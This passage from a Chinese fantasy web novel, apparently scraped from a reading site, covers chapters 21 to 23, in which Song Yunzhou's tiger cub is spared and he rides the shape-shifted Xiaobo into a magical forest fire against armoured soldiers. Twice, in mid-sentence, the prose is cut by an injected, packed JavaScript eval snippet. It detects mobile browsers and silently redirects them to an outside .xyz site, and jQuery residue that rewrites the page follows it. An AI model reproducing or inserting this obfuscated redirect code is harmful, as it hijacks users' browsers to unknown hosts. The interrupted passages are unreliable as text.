宋云州猛地抬头,努力克制住怒火:“你为什么要怎么做?” “不知道纳卡诺怎么想的,明知我不会帮,却还让你来这里。”烈金斯眼中透着寒意,“要救这虎崽,不如先担心一下你自己的性命。” 宋云州从这句话中解读出了某种含义,连忙追问:“可以用我的命换它的?” “不,我不会救它,你别会错了意。”烈金斯冷声说,“你杀了一只棕熊,还有六十三只蝙蝠,你该为它们偿命。” 宋云州辩白道:“我不想杀它们,是它们先想杀我,我才会选择自保。” 烈金斯才不管这些,呲出獠牙强势道:“我就是悬铃森林的法度,我说它们值一条人命,就值一条人命。” 围在周遭的狼群被烈金斯的态度影响,一同进入攻击状态,伏低身体,只等烈金斯一声令下,就冲上来将宋云州撕成碎片。 宋云州顶着烈金斯带来的压迫感,飞速思考寻找转机,他冷静地明知故问:“在你眼中,动物的生命与人命孰轻孰重?” 烈金斯哼笑一声:“你看这遍布整个森林的风铃,全都是该死的盗猎者。你说孰轻孰重?” 宋云州直视烈金斯的双眼,据理力争:“如果你真的这么在意这些动物,你就更应该救它,它只是一只小小的虎崽,没有做错任何事。将来它也会长成大老虎,在某一处森林中自由地奔跑,这难道不是你清除盗猎者的意义所在吗?” 烈金斯默然,黑莓居高临下地盯着宋云州,转了转晶亮的黑豆眼,也没作声。 在宋云州看来,烈金斯俨然是一副悬铃森林保护神的姿态,因而想要说动他,就必须要从布瑞德的老虎身份做切入。 宋云州在烈金斯的眼中捕捉到一丝动摇,当即斩钉截铁地补充道:“我会为被我杀掉的动物偿命。” 果不其然,数息之后,烈金斯终于松了口:“好,我答应你。等你死了,我会救它。” 黑莓一看有戏,立刻向烈金斯积极争取道:“我想要他的骨头!还有他的面包!” 宋云州请烈金斯稍待,他背过身去,拿出放在衣襟里的小菠,嘱托道:“小菠,我死以后,你就带布瑞德回神殿,把它交给霍尔加,请他一定要帮我把布瑞德好好养大。” 知道发生了什么事的小菠马上挥舞着触手,做出拒绝的姿态:【不可以!你怎么能答应这种要求?!就算布瑞德再重要,它也只是一只虎崽,这话虽然难听,但它到底是不如你自己的生命重要啊!】 【你已经尽力了,就到这里为止吧!】 小菠用纸页边角紧紧抱住了宋云州的手,拼尽全力想要阻止他做傻事。 但一页纸又能有多大的力量,轻而易举便被宋云州轻轻拂开。 宋云州很是平静,甚至没有半分面临死亡的恐惧:“那天死的本就该是我,是布瑞德延续了我的生命,是时候还给它了。” 宋云州最后一次紧紧拥抱布瑞德,亲吻上它的额头,望进那双漂亮的琥珀眼,笑着告别:“布瑞德,再见啦。” 血线仍在缩短,宋云州不敢耽搁,他把布瑞德放到了地上,随即向烈金斯示意他准备好了。 烈金斯抬了下右前爪,并不像宋云州想的那 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烈金斯虚按住布瑞德的胸膛,近距离看着它脖子上意味着驯顺和归属的项圈,愠怒道:“小子,认贼作父也要有个限度,你最好老实点,否则你这种小东西我一口一个。” 烈金斯本是想吓唬一下这只虎崽,却在靠近它的时候,从它身上感受到了一股不同寻常的气息。 “原来是你?!”烈金斯的神情瞬间变得癫狂而狰狞,一道结界迅速展开,只将他和布瑞德包围其中。 烈金斯在结界中忽而歇斯底里地狂笑,忽而用尖牙逼近布瑞德的喉管。 他紧盯着布瑞德的双眼,冰蓝眼眸中蕴藏着满腔恨意,近乎是在咬牙切齿:“赫狄弥斯,我期待着你的死亡。” 就在这时,狼嗥倏然再起。 与之前不同,这次的狼嗥只出现于断崖对侧的某一处。 烈金斯的尖耳一动,瞬间破开结界,一爪将布瑞德用力踢出老远,布瑞德连滚了好几个跟头才堪堪停下。 烈金斯昂首望了一眼声音来处,即刻转身走回魔法屏障之中,黑莓和狼群跟随他一同离开。 魔法屏障收束于虚空之中,扼住宋云州的魔法也旋即消散,他重重摔落在地。 崖底归于静谧,只有一只虎崽焦急地围着一名晕倒在地的青年打转。 布瑞德回头用牙齿轻啃了两下它被摔痛的后腿,之后就乖乖地守在宋云州面前,寸步不离。 它还是没用舌头舔宋云州,而是先舔湿鼻头,再用湿润的鼻头去蹭宋云州的口鼻和紧闭的双眼。 布瑞德不知道宋云州究竟是怎么了,它只以为他是突然睡着了。 布瑞德用项圈贴近宋云州耳边,故意晃出很响的哗啦哗啦声,希望宋云州听见声音后,就可以醒过来抱抱它。 宋云州在一阵剧烈的咳嗽中惊醒,再次睁眼看到布瑞德的那一刻,他目露茫然地意外于自己居然还活着。 下一瞬,宋云州的意识完全回笼,他急忙爬起身搂过布瑞德,查看它的脖颈。 在那一点猩红映入眼帘的刹那,无边的绝望如洪水般淹没了宋云州。 他跪坐在地上朝夜空崩溃大吼:“烈金斯!你既然答应了,为什么要言而无信!我用不着你放过我,我只想求你救它!” “烈金斯——!” “黑莓——!” 宋云州声嘶力竭地叫喊。 无人应他。 所有办法都用尽了。 即将走到尽头的血线,正如布瑞德的生命。 布瑞德即将死亡。 他却再无能为力。 21. 穷途末路 宋云州抱着布瑞德,静静坐在崖底。 布瑞德如往常那般仰躺在宋云州的怀里,露出白软的肚皮,用爪子碰了碰宋云州的手指,晃荡着尾巴专注地等他摸。 宋云州温柔一笑,微抬起手臂,将布瑞德的脑袋抬高,俯身和它顶了顶额头,依着它的意思缓缓地按揉肚皮。 宋云州突然平静得几乎称得上诡异,小菠在一边看得心惊胆战。 它想飞过去劝解,思虑再三后还是没有上前打扰,将最后的时间留给宋云州和布瑞德自己度过。 崖底静悄悄的,只有潺潺水声持续不断地奏响。 宋云州哪都没去,就留在了原地,他心底隐隐渴盼着蛇群再次出现,这回他就不会再试图逃开了。 但任何东西都没有再出现。 隐匿在暗处的危险仿佛已经看穿了他们被厄运笼罩的前路,根本不屑再来与他们为难。 宋云州一下又一下地摸着布瑞德,目光一寸寸抚过它圆圆的耳朵、琥珀色的双眼、粉嫩的鼻头、长长的白色胡须,还有它纯白的小胸膛、掺杂黑花纹的柔软肚皮,四只毛乎乎的小爪子和肉粉色的弹软爪垫,背部温暖明艳的黄黑色皮毛,最后是一条蓬松纤长的毛尾巴。 宋云州一一看过,努力将布瑞德每一根毛毛的模样都烙印在心里。 他怕余生很长,会在未来的某一天忘记了他的虎崽的模样。 无人真正经历过宋云州的人生,自然也就无法理解他对布瑞德的过分执着。 宋云州的童年在祖父母泄愤的责打与辱骂声中飞逝,等到稍微长大一些,他再也忍受不了,带着满身伤痕孤身跑出大山,鼓起勇气逃到了远方素未谋面的父亲身边。 他本以为开启了崭新的生活,却在父亲一次醉酒后得知,他不久前经历的一次意外是父亲故意制造,想要杀他骗保,而早已改嫁的母亲在得知此事时选择默不作声。 之后是数年的流浪漂泊与挣扎自救。 宋云州见过形形色色的人,有人恶意毕露,有人带着目的接近,有人追求等价交换。 他在人潮中沉浮,却从未见过爱的模样。 宋云州曾经喜欢毛茸茸,不过只是因为它们的可爱外表,直到遇见布瑞德,他才恍然明白,原来大家喜欢养小猫小狗,是因为这是用最低廉的付出就能得到的最珍贵的信赖与爱。 虽然布瑞德只是一只不会说话、也无法完全理解他意思的虎崽,但那又怎样? 它是宋云州看重的虎崽,是他深爱着的布瑞德。 在林间遇险时,宋云州其实根本没想到布瑞德会救他,他本以为它只会威胁性地叫两声,然后被吓跑。 却没想到,第一次有另一条生命甘愿付出所有去救他。 无条件,无目的,就只是爱他。 宋云州期盼渴求却从未拥有过这样的爱,也就难以释怀这种爱真正发生在他身上时感受到的震撼。 所以他拼尽全力想要留住这份爱,愿意冒一切风险救回布瑞德,哪怕是抵上他自己的性命。 宋云州是伤痕累累的拾荒者,终于在满地的砂砾乱石中捡拾到唯一一颗莹润珍珠,还不等他将其捧在掌心细细呵护,就要眼睁睁看着这颗珍珠碎作尘埃。 宋云州从未有一刻如现在这般渴望获得力量,他无法抑制地设想,如果他也能拥有强大的魔法,是不是就能护住他的虎崽了? 宋云州释然地冲布瑞德笑了笑,抬手揉了揉它手感极佳的毛脑袋,而后将它的头轻轻按在了自己的胸口上。 布瑞德听得到宋云州的心跳,动了动耳朵,也听到了宋云州亲在它耳尖时说出的话。 “布瑞德,我永远爱你。” 宋云州用力抱紧了布瑞德,这时才流下的眼泪滚落在它的毛毛上。 血线完全消失,时间到了。 布瑞德的身体开始抽搐,脚爪踢蹬上宋云州的手臂,伴随着断断续续的嗷嗷叫声。 感受着怀中颤抖的身躯,宋云州的心痛到无以复加,碎成了一地血沫。 他僵硬地保持着一个姿势,目光无目的地紧盯着夜色中的某一点,无望地等待布瑞德彻底平静的那刻。 但出乎宋云州意料的是,过了一小会儿,布瑞德还在挣扎,而且挣扎得愈发强烈,他也没有感觉到有血液流出。 宋云州觉察出不对,立刻低头看去,却见布瑞德安然无恙,正用前爪扒拉着他的衣服想要坐起来。 宋云州一惊,还以为是他疯了看到的幻觉,马上用衣袖擦去遮挡视线的泪水,托起布瑞德看它脖颈。 血线确实完全消失了,而他怀里的布瑞德温温软软,也不是作伪。 只有一种可能—— 烈金斯真的救了布瑞德。 并且烈金斯也没有杀他。 宋云州想不通烈金斯为什么要怎么做,但只要布瑞德没事,就是最好的结果了。 宋云州不由破涕为笑,烈金斯的性格还真别扭,帮了他还要装作没帮的样子,和他开了这么大的玩笑。 宋云州缓了一口气,劫后余生般抱起布瑞德吸吸蹭蹭,手都在微微发抖。 布瑞德亲昵地用额头和脸颊与宋云州磨蹭,抖抖身上被弄乱的毛毛,又想继续往他怀里躺。 同样没料到会是这种结果的小菠迎上来,满脸喜气洋洋:【太好了!没想到烈金斯真的帮了忙!布瑞德没事了!】 它询问宋云州:【现在回神殿吗?】 宋云州刚要点头答应,就想起一件重要事情,立即起身走向青壮年们被狼群杀掉的地方。 他循着地上的血迹寻找,很快就在草丛边找到了掉落在此的长剑,剑鞘上镶嵌的宝石在月光下映射着点点辉光。 剑上干涸着少许暗红色的血,宋云州本想在溪水中清洗一下,担心又把蛇群召来就没有洗。 他拿好放在树后的背包,正要招呼小菠结束这趟行程,忽听嘈杂的犬吠声自不远处响起,正向这处崖底迅速逼近。 与之相伴的,是阵阵马蹄声。 按照马蹄的杂乱程度猜测,来的人应该不会太少。 宋云州在心中思索,葬身于悬铃森林的人应该大多都是为了王室的悬赏而来,试图猎得烈金斯的那张狼皮,不然为了其他动物也没必要来触烈金斯的霉头,去别的山里打猎就好。 看刚刚中年人面对烈金斯时的反应,他早就知道烈金斯会魔法,才会毫不惊讶地出招回击。 由此是不是可以推断出,烈金斯会魔法的事情已经不算是秘密。 这样一来,不会魔法的人就不会再来尝试才对,森林中的骸骨应该大部分都属于魔法师。 依常理来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142449|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,在一部分人送命之后,后来者就会心生畏惧,这份悬赏也会随时间而逐渐成为一份“不可能完成的任务”,只等待更强大的魔法师前来挑战。 可死在这里的人数不胜数,究竟是多么丰厚的悬赏报酬,才会使得这么多人就算没有把握也要拼命一试? 小菠飞到宋云州面前,挥着小触手打断了他的思绪:【回去吗?】 宋云州小小声地说:“等一下。” 他把小菠放进怀里,用背包背起布瑞德,动作迅速地三两下爬上树,躲藏进繁茂的枝叶间。 反正现在随时都可以离开,宋云州决定满足一下他的好奇心,暗中观察一下这次来的是什么人。 犬吠与马蹄声很快就奔至近前,宋云州透过枝叶遮掩悄悄看去,心中疑惑不由更甚。 来者竟是一小队身穿统一铠甲的骑兵。 虽然隔得远看不太清楚,但光看制式的话,很像宋云州在伦达奥城看到的守城卫兵。 王室居然在派遣军队抓狼? 烈金斯的狼皮除了好看之外究竟有什么作用,值得王室这么想要得到? 宋云州思考间,三条黑色猎犬围着满地的血腥嗅闻打转。 骑兵们看着这些被撕碎的染血衣料和碎肉,连马都没下,不甚在意地策马走过去。 就在他们要经过这处空地的时候,忽然有一只猎犬鼻子贴地,追随着味道朝宋云州所在的这棵树走来。 宋云州马上想起了他挂在腰间的长剑,上面沾染的血味为猎犬带了路。 他藏得住身形,却隐藏不了味道。 很快,三只猎犬一齐围在树下,对着躲在树上的宋云州狂吠。 骑兵们发觉异样,即刻在距离树几米远的地方驻马,一字排开,训练有素地弯弓搭箭,也不问树上究竟是什么,就要直接将其射杀。 当骑兵们从背上的箭囊中抽出箭矢的时候,冷静如宋云州,竟还敏锐观察到他们所用箭矢的尾部羽毛分为三簇,两簇白,一簇黑,正和中年人一伙射到他眼前的那支箭一模一样。 中年人一行莫非是军队伪装的? 那现在这些人为什么不再伪装? 疑问一闪而过,面对即将离弦的箭矢,宋云州不再耽搁,语速极快地轻声道:“小菠,我们走。” 谁料此言一出,宋云州并没有移动位置,倒是有一道红色魔力自他胸口处击出,瞬间将树下的骑兵掀了个人仰马翻。 宋云州大惊,他让小菠带他们回神殿,小菠打骑兵干什么?! 宋云州冷汗一冒,还以为小菠已经消失了,没想到伸手一摸,竟发现小菠还好端端地待在他衣襟中。 宋云州正诧异地要发问,只见小菠面色凝重,当即浮现出一行字给他看:【烈金斯设下的魔法禁制突然消失了。】 宋云州在枝叶阴影间有些艰难地将这几个字扫视一遍,不等他细究禁制消失意味着什么,就听一阵巨大的魔力爆裂声从断崖另一侧震响。 地面猛烈震荡,宋云州赶紧抓紧树干,避免被摇下树去,同时抬头向断崖上方望去。 猛然升腾起的赤色火焰席卷漆黑夜空,在一瞬间映亮了宋云州的瞳孔。 这场林火并非寻常森林火灾那样从一处地点冒出黑烟,而是直接爆开一团巨大火球,一口吞噬了整片苍翠林海。 22. 风林火山 火势极其凶猛,顷刻间燃亮了一方天空。 以断崖为界,宋云州没有去到的那侧森林已完全陷落火海,滚滚浓烟腾空而起。 宋云州身处百米之下的崖底,都感受到了熊熊烈火扑面而来的灼烫感。 用不着向任何人求证,这场突如其来的山火必是魔法使然。 而且一定不是烈金斯所为。 宋云州连忙问小菠:“烈金斯遇到麻烦了吗?” 小菠迅速回答:【没错,还是很大的麻烦。】 小菠一口气儿浮现了一大段话,宋云州在暗处实在阅读困难,反正围捕他的骑兵都躺在地上一动不动,他就想直接跳下树去。 还没等他有所动作,阴森的咝咝声再次在崖底响起,大片毒蛇重新涌出灌木丛。 宋云州待在树上没动,看着蛇群从树下经过,几乎把倒地的骑兵和猎犬的身体完全覆盖,但只是爬过,并没有张嘴去咬。 蛇群感知到危险,急匆匆地往溪流下游逃跑,没心思攻击谁。 宋云州见一时也下不了树,干脆挥剑斩断了头顶遮挡光线的树枝,借着比月色更为耀眼明亮的火光,看小菠给出的文字。 他从小菠那里得知,鉴于烈金斯不会主动取消魔法禁制,禁制消失便只有两种可能,一种是另有更为强大的魔法破坏了禁制,一种是烈金斯的法力突然衰弱,甚至已经死亡。 小菠触手交缠,十分忧虑:【烈金斯手上握有神殿一半的法力,如果是纳卡诺杀了他,这部分力量就能归纳卡诺所有。但如果是其他的什么人杀了烈金斯,这部分力量就会彻底消散,对纳卡诺是很大的损失!】 宋云州被小菠为烈金斯担忧的清奇角度弄得一愣,一时不知道该怎么接话。 “那……”宋云州顿了一下,“你要把纳卡诺叫过来吗?” 虽然这么说对刚帮他救了布瑞德的烈金斯有些不太友好,但对纳卡诺而言确实是一个收回全部力量的好时机。 小菠遗憾摇头:【我确实很想这么做,但纳卡诺被限制在神殿范围内,就算试图强行闯出,也会被神殿的力量直接打回来。】 宋云州还以为纳卡诺说无法离开神殿是不想和情敌见面的托辞,原来是客观上真的不行。 小菠看了看宋云州,斟酌着措辞,小心翼翼地请求道:【我们、我们可以赶过去看看吗?如果可以帮到烈金斯……】 小菠很纠结,纳卡诺交给它的任务是保护宋云州,现在它却在提议让宋云州涉险。 【不然还是算了吧……】 小菠觉得这样不太好,决定还是先带宋云州回神殿,找纳卡诺商议一下再说吧。 宋云州却阻止了小菠使用转移魔法,他顺着小菠先前的思路思考了一下,问道:“你能感觉出制造这场山火的魔力有多强吗?” 小菠如实道:【其实我觉得这股魔力本身并不算强,很奇怪烈金斯为什么会失手。但魔力造成的这么大面积的山火,就不是我能解决的了。】 宋云州又问:“你应对这种强度的魔力有多大把握?” 小菠从宋云州的话里听出他打算去看看烈金斯的状况,眼睛亮了亮,心中不由雀跃,但秉持着对宋云州的安危负责的态度,小菠拍着胸脯承诺道:【只要禁制不在,放心交给我就好,一旦我觉得情况失控,绝对会第一时间带你和布瑞德回神殿。】 小菠一直以来的表现都很靠谱,宋云州信任地点点头:“那好,咱们要怎么过去?” 小菠盯着上方愈燃愈烈的火焰,用触手摸了摸头。 小菠思索着,宋云州低头看向地面上的骑兵,他们身上明明没有任何伤口,却一直未醒。 宋云州暗自咂舌小菠的魔力之强,问道:“他们都死了?” 【只是被魔力震昏过去了,我的魔法被纳卡诺加了封印,无论如何都杀不了人的。】 小菠想好了对策,回答完这个问题就从树上飞了下去,用魔力击开逃得差不多的零散毒蛇,清出一片空地。 随后,一只一人高的大老虎出现在宋云州眼前。 宋云州不确定道:“小菠?” 小菠依旧说不了话,毛茸茸的大虎头略略一低作为回应。 宋云州滑下树,来到小菠身边,惊叹地从头到尾迅速扫视一番。 他万万没想到小菠居然还能用魔法变身。 毛色鲜亮的大老虎威风帅气,四肢健硕,它压低身体,眼神向自己背后瞟了瞟,示意宋云州骑上来。 宋云州顺手拿了一名骑兵的弓和箭囊,虽然他不会用,但拿着也能唬人。 他跨上宽厚的虎背坐稳,想伸手抓住老虎颈部的皮毛,又怕老虎万一掉了根毛也算小菠被损坏,于是转而稍微俯身,双手环抱住它的脖子。 宋云州在小菠耳边说:“我准备好了。” 他本以为小菠会用转移魔法直接到达崖顶,不料小菠竟径直向斜上方的空中前跃。 宋云州毫无防备地惊叫一声,蓦地觉出一种上了贼船的意味。 小菠一跃便跃出数米之远,在即将坠落时有一道红色魔法阵凌空出现,小菠踏上它借力,随即再次上跃。 三四次跃起之后,小菠驮着宋云州顺利登上崖顶,山火的炙烤感顿时增强了无数倍。 脚爪踩上崖顶地面的前一刻,小菠周身就萦绕起红色的防御屏障,为它和宋云州阻挡开肆虐而来的火焰和层层叠叠的树枝。 小菠在林中发足狂奔,和宋云州一起搜寻烈金斯的行踪。 呼啸山风不知自何时而起,在狂风助力之下整座山仿佛都在燃烧,入目的尽是跃动的赤红色。 树木被烧焦后的断折倒塌声不绝于耳,伴着飞禽走兽的阵阵哀嚎嘶鸣。 不时有迷失方向的野生动物横冲直撞而来,小菠灵敏避开。 还没在火海中穿梭太久,并且还有小菠的魔力保护,宋云州仍是觉得浑身的皮肤都在发烫,喉咙干渴,越来越难以呼吸。 一路上随处可见散发着焦臭味的动物遗骸,还有同样穿着银色军队铠甲的人类尸体,完全是一幅炼狱景象。 宋云州和小菠穿越了大半林区,却怎么也找不到那抹显眼的浩瀚星辉。 “不应该找不到啊……”宋云州微皱着眉喃喃自语。 森林突发异变,烈金斯一定会抵挡在最前面,难道真像小菠说的他已经遭遇了不测,被军队抓走了? 可宋云州觉得应该还没到这一步,毕竟他还没在林中看到任何一只狼或是蝙蝠的尸体。 宋云州抬头望向挂在树梢上燃着火的白骨风铃,希冀能突然冒出来一只蝙蝠给予他一些指引。 就在这时,不远处天空中不停移动的黑点吸引了他的注意力。 宋云州赶忙抬手擦了擦被火焰炙烤得有些模糊的双眼,重新看向那处,竟真是一群蝙蝠在顶着烈焰翻飞。 漆黑的蝙蝠群几乎与浓烟混为一体,不靠到近前根本发现不了。 宋云州当即振奋地大喊:“小菠,在那边!” 蝙蝠群正在齐心协力朝矗立在面前的深蓝色魔法屏障冲击,它们不管不顾地一头撞上去,又被屏障大力反弹回来,有的当场死亡,有的受了伤,有的摔进烈焰中,但只要还能再飞起来的,就都会再次冲向屏障。 它们没有魔法,根本撼动不了魔法屏障分毫,却还是前赴后继地一次又一次尝试,场面一时颇为悲壮。 蝙蝠群再一次冲击过后,被反弹回来的蝙蝠如雨点般砸落地面。 小菠在这时赶来,一只蝙蝠失力地直直往宋云州脸上掉,他伸手一接,居然发现正是黑莓。 黑莓模样凄惨,身上带着见血的伤口,毛毛凌乱,一侧翅膀的边缘已经被烧焦了。 它闭着眼咳呛两声,晃了晃有些发晕的小脑袋,一睁眼发现竟是熟人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142450|180420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 黑莓拒绝在宋云州手心停留休息,强撑着歪歪斜斜地飞起来。 它以为宋云州是趁乱来找茬的,一下子把他列入坏蛋范畴,凶巴巴地呲出尖牙:“烈金斯大人没杀你,你还不知足地赶紧离开,这是要来落井下石吗?!” 黑莓现在的状态一点儿威慑力都没有,宋云州怕它撑不住,马上摇头否认,并重新向它伸出手心。 宋云州总不能把小菠的担忧说给黑莓听,他改换了一种黑莓能接受的说法,快速道:“烈金斯救了布瑞德,我理应也在他遇到麻烦的时候来帮助他,他现在在哪儿?” 听到宋云州是来帮忙的,黑莓显然有些惊讶,但宋云州作为目前唯一对它伸出援手的人,黑莓只能半信半疑地放下戒备,落在了宋云州掌心。 黑莓看了一眼载着宋云州的大老虎,有些怀疑是布瑞德变的。 黑莓没在这事上耽误时间,黑豆眼动了动,有泪光一闪而逝,立刻开始说重点:“我和烈金斯大人被这些坏蛋冲散了,他被困在魔法屏障的另一侧,我们根本过不去。” 宋云州顺着黑莓的话看去,只见深蓝屏障成半圆形,倒扣住森林中的一大片区域。 在临近他们这侧的屏障内部,是一队队整齐排列的士兵。 宋云州正要询问小菠能否击破屏障,还没开口,就见小菠甩了一下粗长的虎尾,红色魔力潮成半月状斜砍而去,轻易就将屏障击了个粉碎,最前一排的士兵全部被扫倒在地。 但还不等宋云州一行作出喜悦的反应,后一队士兵立刻上前一步,补上空位。 士兵们伸直手臂,立起掌心,旋即有深蓝魔力自他们掌心处画着的符文逸散,眨眼间就又构筑起一道新的屏障。 黑莓气得咬牙,小菠也无措地踱了两步。 宋云州却对黑莓说:“屏障一旦破开,你就立刻去找烈金斯,找到后想办法将位置告诉我。” 黑莓急道:“可那些坏蛋……” “我有办法彻底冲开屏障,会帮你拖住他们。”宋云州果断道,“你去叫蝙蝠群准备好。” 黑莓深深地望了宋云州一眼,什么都没再说就振翅飞向蝙蝠群,拦下它们新一轮的冲击。 小菠侧首看向宋云州,想知道他打算如何击溃屏障,却被宋云州指挥着往回跑。 小菠一头雾水地照做,直到几只麋鹿出现在它的视野里,才听宋云州对它说:“小菠,用魔法困住它们。” 小菠最开始不太明白,但还是用魔法构成囚笼,将麋鹿困在原地,并确保不会让火烧到它们。 随着被困住的各类野生动物越来越多,小菠恍然明白了宋云州的意图,越发卖力地在林间奔跑,就这样聚集了一群熊、豹、野牛、野猪…… 宋云州见数量差不多了,便让小菠打开囚笼,却只给这些动物留出唯一的一条出路。 随即宋云州鼓励小菠:“小菠,大声地叫出来,把野兽全部赶去军队那边。” 小菠尝试性张大嘴发出声音,霎那间虎啸震慑山林,一时间百兽惊动。 这似乎是小菠第一次发出声音,它前几声还有些不适应,之后得了趣味,越发熟练地大吼。 布瑞德听见同类的声音,血脉中潜藏的意识被激发,不由自主地把脑袋挤出背包,也开始跟着嗷嗷乱叫。 兽群被小菠的虎啸声驱赶,逐渐汇聚成一道洪流,由于其余的路都被魔力封堵,它们径直往屏障所在之处冲去。 小菠紧追在它们身后,在兽群即将与屏障相撞的前一瞬,宋云州才让小菠再次击碎屏障。 “快散开——!” 士兵们哪里见过这种架势,顿时慌了阵脚,悚然大叫。 面对狂奔至眼前的兽群,士兵们没有时间再等待新的屏障凝结成形,只能自顾自地四散奔逃。 未成形的魔法屏障完全散去的那瞬,数量庞大的蝙蝠群一冲而过。 23. 鹰徽黑甲 兽群一往无前,犹如巨型战车咆哮碾过,将来不及逃开的士兵卷入车轮下,或是直接撞飞出去,转眼间便清开了一条通路。 宋云州和小菠缀在兽群末尾,跟它们一起冲过了军队的封锁线。 集群的蝙蝠在越过魔法屏障之后,立即分裂成无数小队,散入森林各处找寻烈金斯的下落。 宋云州不知道黑莓跟哪队一起行动,也无从判断烈金斯的位置,他在满目赤红的林间扫视一周,猜测着给小菠指了个方向。 这个方向的火势看起来要比其他地方小一些,似乎是后来才烧起来的,烈金斯很有可能从这里离开。 小菠沿着这个方向狂奔,途中能见到零散士兵,只要士兵不主动攻击,小菠也懒得动用魔法收拾他们。 不时有暗箭从斜处射来,小菠毫不在意,直接甩尾驱动魔法,连箭带人统统击倒。 就这样未遇敌手地奔跑半晌,忽而有一道人影自树后闪出,一跃而起,挥出长剑向小菠和宋云州砍来。 小菠如方才一样还击,谁知这次红光闪过之后,持剑者竟没有半分动摇,长剑径直击向小菠身周的防御屏障。 小菠耳朵一抖,察觉情况有异,不敢托大,旋即向旁侧跳跃闪避。 小菠刚才以为用魔法可以将其击退,便没有躲避,致使此时慢了一步,长剑的剑尖竟穿透了它的防御屏障,眼见就要刺中它的皮毛。 幸好宋云州眼疾手快,他来不及拔出腰间长剑,就直接用剑鞘将进攻者的剑撞偏一寸,令小菠得以险险避过。 这次攻防发生在跑动过程中,小菠的背部本就光滑,宋云州为拔剑而双手脱离开它的脖颈,被进攻者的力道一挑,霎时重心不稳,摔下虎背。 宋云州其实是有机会抓住小菠的,又怕自己用不好力,摔下时就地一滚能缓解些许冲力,但布瑞德在背包里,不能压,宋云州只能由着左侧身体直接撞到地上。 宋云州苦中作乐地想,他这一前一后都是老虎,居然还都碰不得。 左臂顿时传来又疼又麻之感,宋云州赶紧爬起来,小菠也紧急停步,返回他身侧。 宋云州这才有机会看清攻击者的面貌,是一个身穿黑色铠甲、手握长剑的年轻男人,一双深邃眼睛透出的目光阴冷忧郁。 男人铠甲的颜色和那些士兵不同,做工更加精良,右上臂的铠甲处镌刻着一只振翅欲飞的银色雄鹰,他应该就是这支军队的首领。 男人成功截停了宋云州,打了一个唿哨,立刻有重重士兵从另一侧快步涌出,自三面将他们团团包围。 不待男人下令,深蓝魔力自士兵们的掌心发出,凝聚成一条条锁链,蛇一般灵活舞动着缠向小菠和宋云州。 小菠当即用魔法击碎袭来的锁链,准备打倒士兵带宋云州突围,不料士兵们再次采用车轮战术。 前一排士兵的锁链被击碎,立刻由后一排的士兵补上,新的锁链成形,等小菠再次击碎,前一排士兵掌心魔力恢复,即刻变作前阵。 锁链数量众多且可以重复再生,但只要一直朝着一个方向奋力靠近,总有那么一刻可以足够靠近士兵,在换阵前将他们打倒。 这种程度的包围还困不住小菠。 士兵们自然也清楚这一点,因而他们的任务只是拖延时间,为首领创造进攻时机。 男人趁小菠疲于应对锁链阵,提剑向它冲来,利刃破风,斩向小菠颈侧。 小菠赶忙退开,同时朝宋云州叫了一声,头微微朝男人处挑了挑,用眼神示意宋云州。 宋云州怔愣一下,旋即反应过来小菠是让他去对付那个男人,神情震惊。 宋云州心中最先出现的想法就是:他怎么可能打得过这首领,连魔法都…… 宋云州想到一半忽而顿住,他不知道为什么小菠的魔法唯独对男人无效,但男人对魔法的免疫似乎并没有攻击性或是加强作用,不然宋云州也没办法挡下男人对小菠的进攻。 宋云州觉得自己想通了关窍,很想向小菠求证,可惜老虎形态下的小菠浮现不了文字。 宋云州转念一想,既然小菠没有现在就回神殿,说明情况还在它的掌握中,说不定他真的能打得过? 宋云州说试就试,立刻拔出剑来,在男人再次攻向小菠时,冲出小菠为他设置的防御屏障,从背后偷袭男人。 男人的注意力完全在小菠那里,根本没在意看起来就毫无攻击力的宋云州,因而当宋云州的剑堪堪落至他背后的时候,他才猛地回身抵挡。 两柄精工锻造的铁剑交击,铿锵有声。 男人毕竟投身行伍,精练武艺,力气极大,宋云州被震得虎口发麻,双手牢牢握住剑柄,避免剑被甩出去。 直到这时男人的目光才真正落到宋云州身上,他看清宋云州使用的那柄剑的模样,神色倏然一动,声音冷硬地质问:“这柄剑是哪来的?” 宋云州用力抬剑,脱离男人压制,后退数步,同样冷淡回答:“你管不着。” 男人的面色在火光映照下变得更加阴沉,带着极强的压迫感提剑朝宋云州走来,他开始认真将宋云州视作对手,攻击越发刁钻狠辣。 宋云州对剑术一窍不通,和内行交手他只有狼狈格挡的份儿,毫无还手的机会。 他尽力支撑,仍是没能在男人手下挺过一招就被击飞了剑。 宋云州心中暗叹,小菠未免太高估他了,男人就算是个普通人也比他厉害太多了。 好在宋云州躲得足够快,接下来男人的几记劈刺都被他躲了过去。 男人越发没了耐心,几步急奔上前,就要给宋云州致命一击。 宋云州的剑落在远处,眼下肯定是来不及够了,他迅速寻找周遭有没有能用来抵挡一阵儿的粗长树枝。 树枝是没找到,但宋云州看到了散落在地的弓和箭,那是他摔下虎背时掉落的。 宋云州立即探身抓起一支箭,搭上弓弦,用力拉满,锋利箭尖直对着男人的胸膛。 宋云州虚张声势地威胁道:“不想死就给我站住!” 男人的脚步果然被逼得慢下来,但他从宋云州搭箭的动作就看出他不会用弓箭,遂有恃无恐地继续缓步靠近。 男人故意挑衅:“有本事就杀了我。” 